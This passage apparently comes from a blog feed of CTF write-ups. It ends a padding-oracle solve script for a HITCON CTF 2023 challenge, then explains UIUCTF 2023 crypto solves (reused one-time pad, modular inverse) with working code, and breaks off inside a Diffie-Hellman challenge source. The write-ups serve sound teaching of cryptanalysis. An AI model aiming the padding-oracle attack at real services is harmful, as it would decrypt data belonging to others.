<span class="n">cipher</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="n">IV</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
<span class="n">FB</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[</span><span class="mi">16</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span>
<span class="n">Z</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">16</span>
<span class="n">I</span> <span class="o">=</span> <span class="p">[</span><span class="mi">255</span><span class="p">]</span><span class="o">*</span><span class="mi">16</span>
<span class="n">known</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'{"key": "hitcon{'</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
<span class="n">IV0</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV</span><span class="p">,</span> <span class="n">known</span><span class="p">)</span>

<span class="n">oracle_count</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">def</span> <span class="nf">oracle</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">oracle_count</span>
    <span class="n">oracle_count</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
    <span class="k">return</span> <span class="ow">not</span> <span class="sa">b</span><span class="s">"weirdo"</span> <span class="ow">in</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="c1"># async send to reduce network lag
</span><span class="k">def</span> <span class="nf">oracle_multi</span><span class="p">(</span><span class="n">ms</span><span class="p">):</span>

    <span class="c1"># res = [oracle(m) for m in ms]
</span>    <span class="c1"># return res
</span>
    <span class="k">global</span> <span class="n">oracle_count</span>
    <span class="n">l</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ms</span><span class="p">)</span>
    <span class="n">oracle_count</span> <span class="o">+=</span> <span class="n">l</span>
    <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">ms</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">res</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">l</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
        <span class="n">res</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="ow">not</span> <span class="sa">b</span><span class="s">"weirdo"</span> <span class="ow">in</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="n">offset_db</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">get_offset_db</span><span class="p">():</span>
    <span class="n">cur</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="o">-</span><span class="mi">1</span> <span class="ow">in</span> <span class="n">offset_db</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
            <span class="n">OFF</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">FB</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
            <span class="n">check</span> <span class="o">=</span> <span class="n">I</span><span class="p">[:]</span>
            <span class="n">check</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
            <span class="n">cipher</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">check</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">FB</span> <span class="o">+</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">FB</span>
            <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">res</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="n">offset</span> <span class="o">=</span> <span class="n">res</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>
            <span class="n">OFF</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">FB</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
            <span class="n">offset_db</span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span>
    <span class="k">return</span> <span class="n">offset_db</span>


<span class="k">def</span> <span class="nf">oracle_block</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">BC</span><span class="p">):</span>
    <span class="n">res</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">16</span>

    <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
        <span class="c1"># get top 7 bit
</span>        <span class="n">real_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">offset</span> <span class="o">^</span> <span class="n">BC</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="mi">16</span>
        <span class="n">IVL</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">IV0</span><span class="p">,</span> <span class="n">offset_db</span><span class="p">[</span><span class="n">offset</span><span class="p">])</span>
        <span class="n">top_7</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">diff</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
            <span class="n">check</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">BIV</span><span class="p">[:])</span>
            <span class="n">check</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">^=</span> <span class="n">diff</span>
            <span class="n">cipher</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">BIV</span><span class="p">,</span> <span class="n">check</span><span class="p">)</span> <span class="o">+</span> <span class="n">BC</span> <span class="o">+</span> <span class="n">IVL</span> <span class="o">+</span> <span class="n">FB</span>
            <span class="n">ciphers</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>

        <span class="n">res2</span> <span class="o">=</span> <span class="n">oracle_multi</span><span class="p">(</span><span class="n">ciphers</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">res2</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">)))</span>
        <span class="k">for</span> <span class="n">ora</span><span class="p">,</span> <span class="n">diff</span> <span class="ow">in</span> <span class="n">result</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">ora</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">diff</span><span class="p">)</span>
                <span class="n">top_7</span> <span class="o">=</span> <span class="p">(</span><span class="n">diff</span> <span class="o">^</span> <span class="n">BIV</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">^</span> <span class="n">offset_db</span><span class="p">[</span><span class="n">offset</span><span class="p">])</span>
                <span class="n">res</span><span class="p">[</span><span class="n">real_offset</span><span class="p">]</span> <span class="o">=</span> <span class="n">top_7</span>
                <span class="k">break</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># honestly I don't know what happned here
</span>            <span class="c1"># Sometime things just fall through for some reason...
</span>            <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"Padding not found"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">res</span>

<span class="k">def</span> <span class="nf">attack</span><span class="p">():</span>
    <span class="n">offset_db</span> <span class="o">=</span> <span class="n">get_offset_db</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="n">offset_db</span><span class="p">,</span> <span class="n">oracle_count</span><span class="p">)</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">known</span>
    <span class="k">for</span> <span class="n">loc</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipher</span><span class="p">),</span> <span class="mi">16</span><span class="p">):</span>
        <span class="n">m</span><span class="o">+=</span><span class="nb">bytes</span><span class="p">(</span><span class="n">oracle_block</span><span class="p">(</span><span class="n">cipher</span><span class="p">[</span><span class="n">loc</span><span class="o">-</span><span class="mi">16</span><span class="p">:</span><span class="n">loc</span><span class="p">],</span> <span class="n">cipher</span><span class="p">[</span><span class="n">loc</span><span class="p">:</span><span class="n">loc</span><span class="o">+</span><span class="mi">16</span><span class="p">]))</span>
        <span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">oracle_count</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">attack</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<h2 id="references-and-attribution">References and Attribution</h2>
<ul>
  <li>Thanks @maple3142 for testing and giving me ideas on various parts</li>
</ul>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="My Challenge" /><category term="Crypto" /><summary type="html"><![CDATA[Challenge Description This is a challenge I created for HITCON CTF 2023. As the name sugguests, this is a challenge related to padding oracle attack. You might say: “Hey that’s boring, everyone know padding oracle already… What’s new?” Well, what about a whole new padding methods? I hope this sparks your interest, and keep reading for my writeup and thought process for creating this challenge.]]></summary></entry><entry><title type="html">UIUCTF 2023 Writeups</title><link href="http://blog.bronson113.org/2023/07/03/uiuctf-2023-writeups.html" rel="alternate" type="text/html" title="UIUCTF 2023 Writeups" /><published>2023-07-03T00:00:00+00:00</published><updated>2023-07-03T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/07/03/uiuctf-2023-writeups</id><content type="html" xml:base="http://blog.bronson113.org/2023/07/03/uiuctf-2023-writeups.html"><![CDATA[<h2 id="overview">Overview</h2>

<p>Last weekend, our <em>rival</em> Sigpwny hosted their UIUCTF. We ranked 24th in the end. I solved 6 crypto, 4 reverse, and 1 pwn. This post will go through some of my solves in details. Hopefully this can serve as a tutorial for simular challenges in the future.</p>

<p>Challenge solved after the competition are marked as [*]</p>

<!--more-->

<p>There will also be brief note on other challenge solved, though not as in depth.</p>

<h2 id="crypto">Crypto</h2>

<h3 id="three-time-pad">Three-Time Pad</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>We've been monitoring our adversaries' communication channels, but they encrypt their data with XOR one-time pads! However, we hear rumors that they're reusing the pads...

closed are three encrypted messages. Our mole overheard the plaintext of message 2. Given this information, can you break the enemy's encryption and get the plaintext of the other messages?

Author: Pomona
Solves: 390
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given three encrypted file and one plain text file. We also know that the file is encrypted using “one time pad” that’s reused across the three file. First we need to understand what is one time pad.</p>

<p>One time pad is a encryption method, which takes a key that’s the same length as the plaintext, and xor the key with the plaintext. If the key is chosen at random, it is clear that one time pad is secure. In fact, it is proven to be perfectly secure (perfect secrecy). In this challenge, however, the key is shared across the three files. Why this is insecure then?</p>

<p>We’ll need to first understand the xor operation, xor stands for exclusive xor, so the output will be true if and only if one of the two input is true. Below is the truth table of the xor operation between two bits:</p>

<table>
  <thead>
    <tr>
      <th>$a$</th>
      <th>$b$</th>
      <th>$a \oplus b$</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>0</td>
      <td>0</td>
    </tr>
    <tr>
      <td>0</td>
      <td>1</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1</td>
      <td>0</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1</td>
      <td>1</td>
      <td>0</td>
    </tr>
  </tbody>
</table>

<p>Here we can make three observations:</p>

<ol>
  <li>($a \oplus a = 0$): If we look at the first and the last row, we can notice that if a and b are the same, the output will always be zero. This is reasonable, if we have two copy of the same time, they’ll always both be true or both be false, so they’ll never disagree with each other.</li>
  <li>($ a \oplus 0 = a$): If we look at the case where b is 0, we can observe that the output is the same as a. This is also reasonable, if we fix one of the two iteam to be false, then the other one can fully control the output.</li>
  <li>($ a \oplus b = b \oplus a$): Lets try to swap a and b in the table, we’ll notice that the output is still the same. This is natural as the original definition doesn’t have and ordering between the two items.</li>
</ol>

<p>Now that we have this property, what can be learn?</p>

<p>If we look back to the one time pad scheme.</p>

\[\mathtt{plaintext} \oplus \mathtt{key} = \mathtt{ciphertext}\]

<p>What if we xor both side with a plaintext?</p>

\[\begin{align}
\mathtt{plaintext} \oplus \mathtt{key} \oplus \mathtt{plaintext} &amp;= \mathtt{ciphertext} \oplus \mathtt{plaintext} \\ 
\mathtt{plaintext} \oplus \mathtt{plaintext}  \oplus \mathtt{key} &amp;= \mathtt{ciphertext} \oplus \mathtt{plaintext} \qquad (3.) \\ 
0 \oplus \mathtt{key} &amp;= \mathtt{ciphertext} \oplus \mathtt{plaintext}  \qquad (1.)\\ 
\mathtt{key} &amp;= \mathtt{ciphertext} \oplus \mathtt{plaintext} \qquad (2.) \\ 
\end{align}\]

<p>Wow, if we xor the ciphertext with the plaintext, we can recover the key! Let’s do that with the plaintext file we have, then try to decrypt the other two files.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">b1</span><span class="p">,</span> <span class="n">b2</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">i</span><span class="o">^</span><span class="n">j</span> <span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">b1</span><span class="p">,</span> <span class="n">b2</span><span class="p">)])</span>
		
<span class="n">key</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"p2"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">(),</span> <span class="nb">open</span><span class="p">(</span><span class="s">"c2"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s">"c1"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()))</span>
<span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s">"c3"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>three-time-pad$ python solve.py
b'v\x90\x9f48@\t+\xc7\xc3\x81\x02\xa2\xac_\xf1\xcf!\x0c\x0c\xd8Y\x17\x9dr%\x80z\xb8\x84\xbf\x8d\xe6~\xe7\xfb\xd8\xac\xc22y\xb0!s\xae\x17\tc\x0e'
b'before computers, one-time pads were sometimes'
b'uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}'
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Heyy there’s the flag! <code class="language-plaintext highlighter-rouge">uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}</code></p>

<h3 id="at-home">At Home</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Mom said we had food at home

Author: Anakin
Solves: 316
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getRandomNBitInteger</span>

<span class="n">flag</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="sa">b</span><span class="s">"uiuctf{******************}"</span><span class="p">,</span> <span class="s">"big"</span><span class="p">)</span>

<span class="n">a</span> <span class="o">=</span> <span class="n">getRandomNBitInteger</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">getRandomNBitInteger</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="n">a_</span> <span class="o">=</span> <span class="n">getRandomNBitInteger</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="n">b_</span> <span class="o">=</span> <span class="n">getRandomNBitInteger</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>

<span class="n">M</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="n">b</span> <span class="o">-</span> <span class="mi">1</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">a_</span> <span class="o">*</span> <span class="n">M</span> <span class="o">+</span> <span class="n">a</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">b_</span> <span class="o">*</span> <span class="n">M</span> <span class="o">+</span> <span class="n">b</span>

<span class="n">n</span> <span class="o">=</span> <span class="p">(</span><span class="n">e</span> <span class="o">*</span> <span class="n">d</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="n">M</span>

<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">flag</span> <span class="o">*</span> <span class="n">e</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">e</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">n</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">c</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>In this challenge, c is calculated from <code class="language-plaintext highlighter-rouge">flag * e % n</code>. To solve this challenge, we can simply divide both side by e (or multiply by the inverse element).</p>

\[\begin{align}
c &amp;\equiv flag \times e &amp;\mod{n}\\ 
c \times e^{-1} &amp;\equiv flag \times e \times e^{-1} &amp;\mod{n}\\ 
c \times e^{-1} &amp;\equiv flag &amp;\mod{n}\\ 
\end{align}\]

<p>Now the problem is now to find the inverse element of e? Well what an inverse element means is a number $e^{-1}$ such that</p>

\[e \times e^{-1} \equiv 1 \mod{n}\]

<p>if we expend that equation, we’ll get</p>

\[e \times e^{-1} + k\times n = 1, \mathtt{where} \ k \in \mathbb{Z}\]

<p>Based on <a href="https://en.wikipedia.org/wiki/Bézout's_identity">Bézout’s identity</a>, we know that there exist $a$ and $b$ such that</p>

\[ax + by = gcd(x, y)\]

<p>Here the x and y is our e and n respectively. Let’s check the gcd of the two.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>at_home$ python
Python 3.8.10 (default, May 26 2023, 14:05:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; from math import gcd
&gt;&gt;&gt; e = [...]
&gt;&gt;&gt; n = [...]
&gt;&gt;&gt; gcd(n, e)
1
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Clearly the gcd is 1, so Bézout’s identity applies. Now we just need to find a and b respectively. One such method is by using the <a href="https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm">Extended Euclidean algorithm</a>. But python actually provides a easy method to calculate the modular inverse of a number, using the default power function <code class="language-plaintext highlighter-rouge">pow(e, -1, n)</code> (I belive this is only is python 3.8+. The full solve script is as follows</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869</span>

<span class="n">inve</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="p">(</span><span class="n">inve</span><span class="o">*</span><span class="n">c</span><span class="p">)</span><span class="o">%</span><span class="n">n</span>
<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>And that gives us the flag! <code class="language-plaintext highlighter-rouge">uiuctf{W3_hav3_R5A_@_h0m3}</code></p>

<h3 id="group-projection">Group Project(ion)</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>Group Project
In any good project, you split the work into smaller tasks...

nc group.chal.uiuc.tf 1337
---
Group Projection
I gave you an easier project last time. This one is sure to break your grade!

nc group-projection.chal.uiuc.tf 1337

Author: Anakin
Solves: 232 (ver1)/ 127 (ver2)
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="project_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-project_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#project_chal_py-content" aria-expanded="true" aria-controls="project_chal_py-content">
         <p>Show chal.py</p>
 
      </button>
    </p>
    <div id="project_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-project_chal_py" data-bs-parent="#project_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span><span class="p">,</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>


<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Did no one ever tell you to mind your own business??"</span><span class="p">)</span>

    <span class="n">g</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">A</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Public:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">g</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">p</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">A</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">k</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"[$] Choose k = "</span><span class="p">))</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"[$] I said a number..."</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="k">if</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">or</span> <span class="n">k</span> <span class="o">==</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span> <span class="ow">or</span> <span class="n">k</span> <span class="o">==</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span> <span class="ow">or</span> <span class="n">k</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">k</span> <span class="o">&gt;=</span> <span class="n">p</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"[$] I'm not that dumb..."</span><span class="p">)</span>
        <span class="k">return</span>

